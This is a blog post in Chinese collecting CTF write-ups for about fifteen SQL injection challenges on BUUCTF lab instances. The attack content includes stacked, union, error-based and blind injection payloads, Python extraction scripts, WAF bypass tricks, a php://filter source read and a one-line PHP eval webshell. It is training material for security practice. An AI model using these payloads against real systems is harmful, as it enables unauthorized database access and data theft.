CTF-Web-SQL注入

beihai2013 于 2021-01-26 16:50:38 发布 503 收藏 2
分类专栏： CTF-Web-Sql

CTF-Web-Sql 专栏收录该内容
3 篇文章 0 订阅
订阅专栏
题目目录参考https://ca01h.top/Web_security/ctf_writeup/8.buuctf%E5%88%B7%E9%A2%98%E2%80%94%E2%80%94XSS/

随便注

题目来源：强网杯2019

题目链接：https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%9A%8F%E4%BE%BF%E6%B3%A8

考察：堆叠注入，sql的show语句，sql的预编译，sql修改表

参考：https://www.cnblogs.com/chalan630/p/12583667.html，https://ca01h.top/Web_security/ctf_writeup/7.buuctf%E5%88%B7%E9%A2%98%E2%80%94%E2%80%94SQL%E6%B3%A8%E5%85%A5/

测试语句

```
1' and '1'='1
```

能够得出输入

```
1
```

时一样的回显

```
1'      # 报错
1'--+     # 正常且为True
1' and 1=1 --+  # 正常且为True
1' and 1=2 --+  # 正常且为False
?inject=1' order by 3--+ # error 1054 : Unknown column '3' in 'order clause'
inject=1'; show tables; --+ $ # 1919810931114514 words
?inject=1'; show columns from words; --+ #
show columns from `1919810931114514`;--+

words {
id int(10);
data varchar(20);
}
1919810931114514{
flag varchar(100);
}
```

payload1：修改表

```
?inject=1'; rename table `words` to `words1`; rename table `1919810931114514` to `words`; alter table `words` ch
ange `flag` `id` VARCHAR(100) character set utf8 collate utf8_general_ci not null;--+
```

payload2：预编译

```
1';Set @a=concat("sel","ect flag from `1919810931114514`");Prepare s from @a; execute s; --+
```

flag

```
flag{34745aea-2541-43e6-884f-c67988afc34a}
```

sql正常注入流程

```
1 # 正常输入
1' # 若报错，则单引号为可能的注入点
1' --+ # 判断注入类型
1' and 1=1 --+ # 判断注入类型
1' and 1=2 --+ # 判断注入类型

1' order by 3 --+ # 判断列数
```

sql的show命令

```
show databases;
show tables;
show table from db_name;
show engine;
show character set; #显示支持哪些字符集
show columns;
show create databases; #显示已经创建的库，创建时的语句
show create table; #显示已经创建的表，创建时的语句
```

sql堆叠注入

添加分号;即可实现同一行执行多个sql语句

sql修改表

```
rename table `words` to `test`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);
```

sql预编译

```
SET;         # 用于设置变量名和值
PREPARE stmt_name FROM preparable_stmt; # 用于预备一个语句，并赋予名称，以后可以引用该语句
EXECUTE stmt_name;       # 执行语句
{DEALLOCATE | DROP} PREPARE stmt_name; # 用来释放掉预处理的语句

实例
set @sql=CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
execute stmt;
```

hack world

来源：[CISCN2019 华北赛区 Day2 Web1]

链接：https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day2%20Web1]Hack%20World

参考：https://ca01h.top/Web_security/ctf_writeup/7.buuctf%E5%88%B7%E9%A2%98%E2%80%94%E2%80%94SQL%E6%B3%A8%E5%85%A5/#CISCN2019-Hack-world

考察：bool盲注

看到payload想骂脏话

尝试常规输入，1和2可以，之后都不行

尝试常规的注入，只有单引号时会返回bool(false)，应该提示bool型盲注吧

payload为

```
if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)
```

由于1和2输出不同，根据这个进行注入即可

可以通过一个字典，观察哪些字符被waf过滤

脚本

```
import requests

url="http://a9e8a73f-f3d4-4ee4-a165-78c21730f40d.node3.buuoj.cn/index.php"

text1 = "Hello, glzjin wants a girlfriend."
text2 = "Do you want to be my girlfriend?"
ans = ""
for i in range(60):
 # print("debug")
 flag = False
 for j in range(0,256):
  c = chr(j)
  # print(c)
  s = "if(ascii(substr((select(flag)from(flag)),{},1))={},1,2)".format(i+1, j) #注意此处必须转成ascii码判断，因为sql中不区分大小写，直接判断字符会有双引号单引号大小写等问题
  post_data = {
   "id": s
  }
  # print(s)
  response = requests.post(url, post_data)
  if text1 in response.text:
   flag = True
   ans += c
   print(c)
   break
 if flag == False:
  break
print(ans)

# if(substr(select(flag)from(flag),{},1)={},1,2)
```

这个脚本比较慢，提高效率的方法有两个。一个是转换成ascii码查找（本题过滤了ord，因此只能用ascii进行转码），一个是range下限设置为32（'a'从32开始）

wp提供了一个二分脚本

```
import requests

url = 'http://a9475c38-821c-4b23-aa96-87730f0863fe.node3.buuoj.cn/index.php'
flag = 'Hello, glzjin wants a girlfriend.'
result = ''

for i in range(1, 50):
    sleep(1)
    high = 127
    low = 32
    mid = (high + low) // 2
    while high > low:
        payload = "if(ascii(substr((select(flag)from(flag)),{index},1))>{char},1,2)".format(index=i, char=mid)
        data = {'id': payload}
        response = requests.post(url=url, data=data)
        if flag in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (high + low) // 2

    result += chr(mid)
    print(result)
```

CyberPunk

题目来源：[CISCN2019 华北赛区 Day1 Web5]

链接：https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web5]CyberPunk

考察：php伪协议，xpath报错注入，load_file

参考：https://www.cnblogs.com/wangtanzhi/p/12318551.html

第一步

首先进入页面，index界面可以用get的方式提交file参数，即可使用php伪协议直接读取源码

```
http://xxx.xxx/index.php?file=php://filter/convert.base64-encode/resource=index.php
```

第二步

```
<?php   //index.php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>



<!--?file=?-->

<?php  //change.php
require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "è®¢å •ä

<?php  //search.php
require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>å§“å  :".$row['user_name']."</p><p>, ç”µè¯ :".$row['phone']."</p><p>, åœ°å €:".$row['address'
]."</p>";
    } else {
        $msg = "æœªæ‰¾åˆ°è®¢å •!";
```

发现在3个php中，都对user_name和pattern进行了过滤，因此只能在address上进行注入。

又注意到，只在change.php中对address执行了sql语句，而在search.php中，只是从数据库中返回了address的值。故这是一个二次注入，故操作在index.php和change.php中

```
//数据库
1' where user_id=updatexml(1,concat(0x7e,(select substr(database(),1,20)),0x7e),1)#
//表名
1' where user_id=updatexml(1,concat(0x7e,(select substr(table_name,1,20)from information_schema.tables where tab
le_schema='ctfusers'),0x7e),1)#
//字段
1' where user_id=updatexml(1,concat(0x7e,(select substr(group_concat(column_name),1,20)from information_schema.c
olumns where table_name='user'),0x7e),1)#
//数据
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
```

得到flag

```
flag{05e89701-1f01-4719-965c-3d59d7e0f664}
```

xpath报错注入

```
updatexml(1,concat(0x7e,SUBSTR((SELECT f14g from f14g LIMIT 0,1),1,24),0x7e),1) # 最多显示32位，需要配合substr使用
```

php伪协议

```
http://xxx.xxx/index.php?file=php://filter/convert.base64-encode/resource=index.php # 以base64方式读取指定页面源码
```

EasySQL

来源：SUCTF2019

考察：堆叠注入，sql_mode

参考：https://baynk.blog.csdn.net/article/details/105241226，https://my.oschina.net/u/4413091/blog/3384385

第一步

先用fuzz字典进行测试，发现大部分关键字被过滤（select，and，双引号等）

但是分号;没过滤

第二步

然后进行下面尝试

```
1;show databases;
1; show tables;
```

均可获得答案，且知道当前table为flag

但是尝试以下语句时失败，因为flag和from被过滤

```
1; show flag from flag;
```

第三步

但是考虑到提交1时，是由返回结果的，猜测后台语句为

```
select $_POST['query'] | xxx from flag; # xxx就是[0] => 1，因为不论提交什么数字都得到同一个答案
```

要绕过这个语句有两种方法

payload1

```
select *,1|2 from flag
```

即提交

```
*,1
```

payload2

修改sql_mode，使||被视为连接符，而不是逻辑或

```
1;set sql_mode=PIPES_AS_CONCAT;select 1
```

第四步

得到flag

```
 flag{e8aa1999-1dbc-4b3f-86d9-b961ff44cf09}
```

sql_mode

```
参考 https://www.cnblogs.com/piperck/p/9835695.html

查看当前连接会话的sql模式:
mysql> select @@session.sql_mode;
或者从环境变量里取
mysql> show variables like "sql_mode";

查看全局sql_mode设置:
mysql> select @@global.sql_mode;

只设置global，需要重新连接进来才会生效

设置形式如
mysql> set sql_mode='';
mysql> set global sql_mode='NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES';
```

知道就好，具体的sql_mode太多

EasySQL

题目来源：极客大挑战2019

考察：万能密码

```
username: admin' or 1=1#
password: 1

flag{2d7e92c3-eed8-407e-9763-0a66581f2030}
```

LoveSQL

来源：极客大挑战2019

参考：https://blog.csdn.net/vanarrow/article/details/107991185

考察：报错注入

错误尝试

```
username: admin' or 1=1#
password: 1

Hello admin!

Your password is 'c2f1e24e0e83d0373e5bbe94c3168506'

username=admin&password=c2f1e24e0e83d0373e5bbe94c3168506' and '1'='1   #Login Success
```

均失败

根据wp

```
?username=1'#&password=1 # 提示input your name and password，说明语句大概为 select xxx from database where usernam
e='$_GET[username]' and password='$_GET[password]'
?username=1&password=12' or '1'='1 # 验证上一条结论，需要从username处进行注入
```

注意，这里有个坑。若直接在输入框填写#，在URL会被解释成%23。而在firefox的hackbar中填写#，是不会被识别成sql语句中的注释符的

此处必须在username进行注入

```
?username=admin' order by 4 %23&password=1
# 报错

username=1' union select 1,2,3 %23&password=1
# 显示2,3。因此2和3是注入位

?username=1' union select 1,database(),2 %23&password=1
# 显示geek，为数据库名

?username=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='geek'),2 %23&password=1
# 显示geekuser,l0ve1ysq1

?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'%23&password=1
# 显示'id,username,password'
# 查看表内容，没有flag，转而查看l0ve1ysq1

?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' %23&password=1
# 显示'id,username,password'

?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 %23&password=1
# 显示'1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{8e0fc55e-8d36-4db0-a48e-7e2a57fea0c9}'
```

根据花括号，得到flag

提示

在Hackbar中，若以get方式提交sql语句，需要注意转码问题。比如空格为+，#为%23等

BabySQL

来源：极客大挑战2019

参考：
https://ca01h.top/Web_security/ctf_writeup/7.buuctf%E5%88%B7%E9%A2%98%E2%80%94%E2%80%94SQL%E6%B3%A8%E5%85%A5/#SUCTF2019-EasySQL

考察：双写绕过

```
?username=1' order by 1 %23&password=1
# You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'der 1 #' and password='1'' at line 1
select x,y,z from db where username='username' and password='password'
```

根据wp，可以双写绕过

```
?username=123' ununionion seselectlect 1,database(),3%23&password=bbyy

?username=1' uniunionon seselectlect 1,2,  group_concat(table_name) ffromrom infoorrmation_schema.tables whwhere
ere table_schema=database() %23&password=123
# 显示 b4bsql,geekuser

?username=1' uniunionon seselectlect 1,2,  group_concat(column_name) ffromrom infoorrmation_schema.columns whwhe
reere table_name='b4bsql' %23&password=123
# 显示 id,username,password

?username=1' uniunionon seselectlect 1,2,  group_concat(passwoorrd) ffromrom b4bsql %23&password=123
# 显示'i_want_to_play_2077,sql_injection_is_so_fun,do_you_know_pornhub,github_is_different_from_pornhub,you_foun
d_flag_so_stop,i_told_you_to_stop,hack_by_cl4y,flag{389fb140-395f-4f93-9137-fea88d9947b5}'
```

得到flag

hardsql

来源：极客大挑战2019

参考：https://www.cnblogs.com/wangtanzhi/p/12257412.html

考察：xpath报错注入

自己做的部分

发现很多常用字会报错，因此fuzz跑了一下（此处需要一个好词典，搜集的词典有点坑爹）

结果union和and、空格都被过滤

空格过滤可以用以下形式执行sql语句

```
select(*)from(db)
```

以下为参考部分

发现报错注入的updatexml没过滤，尝试

```
?username=admin'^updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)%23&password=123
# 返回XPATH syntax error: '~geek~'
```

之后操作类似

执行到

```
?username=admin'^updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)%23&password=123
# flag{582fda48-ebec-495e-acda-7
```

只出现了一半的flag，而substr被过滤

根据wp，使用left和right进行拼接操作。

```
?username=admin'^updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1)%23&password=123
# 8-ebec-495e-acda-76d8e7055dec}
```

也可以使用reverse函数，自然把右半边的显示出来了

finalsql

来源：极客大挑战2019

参考：https://www.cnblogs.com/hello-there/p/13026698.html

考察：异或注入

首先Fuzz测试，发现过滤了大部分字段

其次访问页面中的五个标题，发现URL上会有id字段的变化。而访问[1,6]之外的id值时，会提示ERROR。推理处此处可布尔注入

由于FUZZ中if被过滤，用异或符^代替if

```
import requests

url="http://fb37a3d0-7d7e-44ae-8436-df42f39c93a3.node3.buuoj.cn/search.php?id=1"

text = "Not this!"
ans = ""
for i in range(1, 600):
 # print("debug")
 low = 31
 high = 128
 while low < high:
  mid = (low + high) >> 1
  # print(c)
  # s = "^(ascii(substr(database(),{},1))>{})".format(i,mid)
  s = "^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))>{})".format(i,mid)
  # print(s)
  # print(url+s)
  response = requests.get(url+s)
  # print(response.text)
  if "ERROR" in response.text:
   low = mid + 1
  else:
   high = mid
 if low == 31 or high == 128:
  break
 ans += chr(low)
 print(ans)
print(ans)

# if(substr(select(flag)from(flag),{},1)={},1,2)









flag{6103d756-d25b-48b2-bf23-940081a321df}
```

BabySQli1

来源：GXYCTF2019

参考：https://www.cnblogs.com/shangguanchanghong/p/13805558.html

考察：大小写绕过，后台语句猜测

Fuzz测试，可以看到admin’提示sql错误，有单引号注入；左括号，右括号，等号，or，ord，order，information_schema.tables，concat_ws，xor等被过滤

查看网页源码

```
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
```

根据
https://ca01h.top/Web_security/ctf_writeup/7.buuctf%E5%88%B7%E9%A2%98%E2%80%94%E2%80%94SQL%E6%B3%A8%E5%85%A5/#GXYCTF2019-BabysqliV1
base32 只有大写字母和数字数字组成，或者后面有三个等号。
base64 只有大写字母和数字，小写字母组成，后面一般是两个等号。
明显，那段文字是base32加密

```
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
select * from user where username = '$name'
```

大小写绕过，得到列数

```
name=admin' Or 1 Order by 3 #&pw=admin
name=admin' Or 1 Order by 4 #&pw=admin
```

测试name为哪一行

```
name=a' union select 'admin',2,3 #&pw=admin
name=a' union select 1,'admin',3 #&pw=admin
```

第二个提示pass错误，说明admin放在第二行

注意此处admin需要用单引号括起来，在sql语句中会被解释为字符串，而不是某个列名

wp说，一般后台都会用md5计算密码hash值并存储，所以猜测后端源码是这样

```
<?php
$name = $_POST['name'];
$passwd = md5($_POST['pw']);

$sql = "select * from user where username = '$name'";
$query = mysql_query($sql);

if (!strcasecmp($passwd, $query[passwd])) {
 echo $flag;
} else {
 echo("Wrong Pass");
}
```

所以password为pw的值的md5值即可

```
name=a' union select 1,'admin','21232f297a57a5a743894a0e4a801fc3' #&pw=admin



flag{d69a01fe-e2ac-4330-b89a-d2ff0f6bcac0}
```

EasySQL

来源：RCTF2015

参考：
https://ca01h.top/Web_security/ctf_writeup/7.buuctf%E5%88%B7%E9%A2%98%E2%80%94%E2%80%94SQL%E6%B3%A8%E5%85%A5/#GXYCTF2019-BabysqliV1

考察：报错注入，sql的reverse函数，sql的regexp函数

注册+登录+修改密码，算是模板题

因为登录后可以显示用户名，初步判断在用户名处注入

分别注册用户zz'和zz"，zz"在修改密码时报错

```
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the rig
ht syntax to use near '"zz"" and pwd='c81e728d9d4c2f636f067f89cc14862c'' at line 1
```

反过来判断语句大致为

```
select * from user where username = "zz" and and pwd='c81e728d9d4c2f636f067f89cc14862c' # 后面这个应该是md5值
```

那么之后就xpath注入即可

注意本题过滤了or，substr，多余的空格，异或符^

```
username=zz"||updatexml(1,concat(0x7e,database(),0x7e),1)#&password=2&email=2
```

web_sqli

```
username=zzz"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(tab
le_schema='web_sqli')),0x7e),1)#&password=2&email=2
```

article,flag,users

```
username=zzz"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(t
able_name='users')),0x7e),1)#&password=2&email=2
```

~name,pwd,email,real_flag_1s_her

```
username=zzz"|(updatexml(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns
)where(table_name='users'))),0x7e),1))#&password=2&email=2
```

'~ereh_s1_galf_laer,liame,dwp,ema'

```
zzz"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#
```

'~xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx'

尝试reverse

```
zzz"||(updatexml(1,reverse(concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e)),1))#
```

'~xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx'

使用regexp进行正则匹配

```
username=zzz"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_he
re)regexp('^f')),0x7e),1))#&password=2&email=2
```

'~flag{8ab20865-f566-4f30-a861-10'

reverse一下

```
username=zzz"||(updatexml(1,reverse(concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_fl
ag_1s_here)regexp('^f')),0x7e)),1))#&password=2&email=2
```

'~}5cdb11ddaa01-168a-03f4-665f-56'

```
flag{8ab20865-f566-4f30-a861-10aadd11bdc5}
```

EzSqli

来源：GYCTF2020

参考：
https://ca01h.top/Web_security/ctf_writeup/7.buuctf%E5%88%B7%E9%A2%98%E2%80%94%E2%80%94SQL%E6%B3%A8%E5%85%A5/

寻找点，发现if其实没有被过滤（但是很多wp说被过滤了，后来经查证，字符多了才会被过滤2333）

```
id=if(1=1,1,2)
Nu1L
id=if(1=2,1,2)
# V&N
id=if(1=1,3,2)
# Error Occured When Fetch Result.
```

报错注入得到数据库名

```
give_grandpa_pa7pa_pa
```

尝试使用information_schema获得表名，无效

根据wp，使用sys.x$schema_flattened_keys

```
 select = 'select group_concat(table_name) from sys.x$schema_flattened_keys'
```

或

```
"select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()"
```

得到表名

```
users233333333333333,f1ag_1s_h3r3_hhhhh
```

接下来使用了字符串大小的判断来编写报错脚本

```
import requests
from time import sleep
url="http://8ec28565-2e76-4246-ba91-4641f78374a6.node3.buuoj.cn/index.php"

text = "V&N"
ans = ""
payload2 = "select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=data
base()"
payload3 = "(select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh)"
for i in range(1, 600):
 # print("debug")
 low = 32
 high = 128
 while low < high:
  mid = (low + high) >> 1
  # print(c)
  str_temp = ans + chr(mid)

  payload_temp = payload3.format(str_temp)
  post_data ={
   "id": "2||({})".format(payload_temp)
  }
  response = requests.post(url, data = post_data)
  print(response.text)
  print(mid)
  if text not in response.text:
   high = mid
  else:
   low = mid + 1
 if low == 32 or high == 128:
  break
 ans = ans + chr(low - 1)



FLAG{9771B2DF-3F20-4E74-A4C6-B73CE4C9DEB9}
```

环境好像有些问题，提交不能通过。

不使用information_schema获得表名的方法

```
select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()
select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()
```

报错注入（无if版本）

```
(select '{}')>(select * from f1ag_1s_h3r3_hhhhh)
```

会按照字符串大小来计算

sqli

来源：NCTF2019

参考：https://guokeya.github.io/post/nctf2019sqliregexp-zhu/

首先进入页面，是一个登录框

fuzz一下，发现绝大多数的关键字都过滤了

此处还可以访问robots.txt，进而访问hint.txt，得到过滤黑名单

根据wp，regexp没过滤，故可构造基于regexp的报错注入语句

```
import requests
import time
from urllib import parse
import string
url="http://ee06d8fc-6daa-4c18-ba05-ac4293161510.node3.buuoj.cn/index.php"
string = string.ascii_letters+'_'+string.digits
text = "welcome.php"
ans = ""
for i in range(1, 100):
 # print("debug")
 low = 32
 high = 128
 flag = False
 # for j in range(low, high):
 for j in string:
  # print(c)
  # time.sleep(0.5)
  str_temp = ans + j
  post_data ={
   "username": "\\",
   "passwd": '||/**/passwd/**/regexp/**/"^{}";{}'.format(str_temp,parse.unquote('%00'))
  }
  response = requests.post(url, data = post_data)
  # print(response.text)
  if text in response.text:
   # print(response.text)
   ans = str_temp
   flag = True
   print(ans)
   break

 if flag == False:
  break
```

解释

其中，关键语句为

```
"username": "\\",
"passwd": '||/**/passwd/**/regexp/**/"^{}";{}'.format(str_temp,parse.unquote('%00'))
```

因为对单引号进行了过滤，所以username处添加\，将其后的单引号过滤。且考虑到转译的原因，为"\"

而passwd用到了三个知识点，一个是sql的内联注释/**/可以代替空格，一个是regexp的布尔盲注，一个是php中%00的截断（此处python的时候不能直接传入，会被解码为空）

```
select user() regexp '^r' # 从user()中判断是否有以r字母开头的值，有的话返回1
```

还有一点需要注意的是，字符只能从_、数字、大小写字母中选取，要是直接以ascii码选取，会选到*，然后报错

得到密码

```
you_will_never_Know7788990
```

将其转换为小写（我也不知道为什么），提交后得到flag

regexp布尔盲注

select user() regexp ‘^r’ # 从user()中判断是否有以r字母开头的值，有的话返回1

单引号注入绕过

使用\

php截断

%00

有版本限制

Web1

来源：SWPU2019

参考：https://blog.csdn.net/weixin_43900387/article/details/103534108

考察：mysql.innodb_table_stats，内联注释绕过空格

进入页面，有注册页面和登录页面

在注册页面处尝试进行updatexml的报错注入，由于回显只有登录时才会出现“登录失败”，报错注入较为复杂。尝试多次后，失败。

随便注册一个用户，进入页面后，有一个输入留言的位置

尝试在标题和内容都输入

```
'database()
```

成功。

点击查看留言，发现现实sql语句错误，说明标题行是有注入点的

麻烦的是此处用burp跑fuzz比较麻烦，且过滤了order by，行数特别多

看wp

爆列数，注意最后一个数22的单引号，用于闭合右单引号

```
-1'union/**/select/**/1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
```

报数据库类型

```
-1'union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
```

是mariaDB-log，它的mysql.innodb_table和mysq中的information_table.schema作用一样

```
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
```

得到表名，然后抽取表值

```
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
```

得到flag

绕过单引号的方法

```
-1'union/**/select/**/1,'22
```

maria_db下的“information_schema”

```
mysql.innodb_table_stats
```

简单注入

来源：BJDCTF 2nd

参考：https://ca01h.top/Web_security/ctf_writeup/7.buuctf%E5%88%B7%E9%A2%98%E2%80%94%E2%80%94SQL%E6%B3%A8%E5%85%A5/#%E5%BC%BA%E7%BD%91%E6%9D%AF2019-Fakebook

进入页面，只有一个登录页面

随手将URL换成robots.txt，提示访问hint.txt

访问hint.txt，有如下提示

```
Only u input the correct password then u can get the flag
and p3rh4ps wants a girl friend.

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

//鍑洪�浜哄洓绾y帇绾挎墠杩� 瑙佽皡瑙佽皡 棰嗕細绮剧�
```

乱码部分转换后

```
出题人四级压线才? 见谅见谅 领会精神
```

经测试，单引号被waf拦截，and被waf拦截

使用类似Web1的转译单引号绕过方法啊

```
username: 1\
password: or/**/payload#
```

后面不做了，就套模板。超参考链接的wp

```
import requests
from time import sleep

url="http://c4a52ced-49ff-4797-b075-989df5c9ad7a.node3.buuoj.cn/index.php"

data = {
    'username': 'admin\\',
    'password': ''
}
flag = 'BJD needs to be stronger'
result = ''

for i in range(1, 50):
    sleep(0.5)
    high = 127
    low = 32
    while high > low:
        mid = (high + low) // 2
        payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#" % (i, mid)
        data['password'] = payload

        rs = requests.post(url=url, data=data)

        if flag in rs.text:
            low = mid + 1
        else:
            high = mid

    if low != 32:
        result += chr(low)
    else:
        break
    print(result)
```

得到一个字符串，在登录框用户名输入admin，密码输入该字符串，得到flag

comment

待做，考的知识点比较多

easyweb

来源：CISCN2019

参考：
https://ca01h.top/Web_security/ctf_writeup/7.buuctf%E5%88%B7%E9%A2%98%E2%80%94%E2%80%94SQL%E6%B3%A8%E5%85%A5/#CISCN2019-easyweb

失败的尝试

打开网页，是一个登录界面

尝试一些简单注入，失败

访问robots.txt，提示每个php文件有bak

```
User-agent: *
Disallow: *.php.bak
```

但是index.php的bak出不来

在firefox调试面板的网络中，发现登录页面的数据是交给user.php的，但是单独访问user.php是没有结果的

在登录界面，尝试输入

```
username: admin' or '1'='1 #
password: 123

username: 123
password: 456
```

发现两者返回的图片不一样

再次打开页面查看器，发现img的标签是这样的

```
<img src="image.php?id=2" width="200" height="200">
```

直接访问image.php?id=1，是可以访问的

正确wp

下面参考别人的wp

使用dirmap扫描出有image.php.bak文件（这个不知道咋操作，一直因为too many request无法得出正确结果

```
# image.php.bak
< ?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
```

发现，语句为"select * from images where id='{KaTeX parse error: Expected 'EOF', got '}' at position 3: id}̲' or path='{path}'"

发现，使用了addslashes和str_replace

```
此处，addslashes是在斜杠\前再添加一个斜杠进行转译；而str_replace是把那四个字符替换为空
```

而目的是传入的id值最终为/，从而过滤掉之后的单引号

```
id='/' and path='payload#'
```

因此id传入//0

之后不写了，抄wp

```
import requests
from time import sleep

url = "http://eff1faa0-512a-48cd-afc2-155bb1119cb2.node3.buuoj.cn/image.php?id=\\0&path="
#payload = "or id=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1},1,0)%23"
#payload = "or id=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{0},1))>{1},1,0)%23"
#payload = "or id=if(ascii(substr((select username from users),{0},1))>{1},1,0)%23"
payload = "or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23"
flag = "JFIF"
result = ""

for i in range(1, 100):
    sleep(0.5)
    low = 32
    high = 127
    while high > low:
        mid = (high + low) >> 1
        response = requests.get(url + payload.format(i, mid))
        if flag in response.text:
            low = mid + 1
        else:
            high = mid

    if low != 32:
        result += chr(low)
    else:
        break
    print(result)

a59e57715afd21f67dbc
```

wp说登录后是一个文件上传绕过，可使用短标签绕过

```
Content-Disposition: form-data; name="file"; filename=<?=@eval($_POST(['a']));?>
```

这一步一直没连上，跳过

颜值成绩查询

来源：WUSTCTF2020

参考：https://ca01h.top/Web_security/ctf_writeup/7.buuctf%E5%88%B7%E9%A2%98%E2%80%94%E2%80%94SQL%E6%B3%A8%E5%85%A5/#CISCN2019-easyweb

错误尝试

单引号注入，双引号注入，扫描目录，查看源码，robots.txt

正确方法

不需要单引号注入啊直接写语句

后面的跳过，就是正常的那种布尔盲注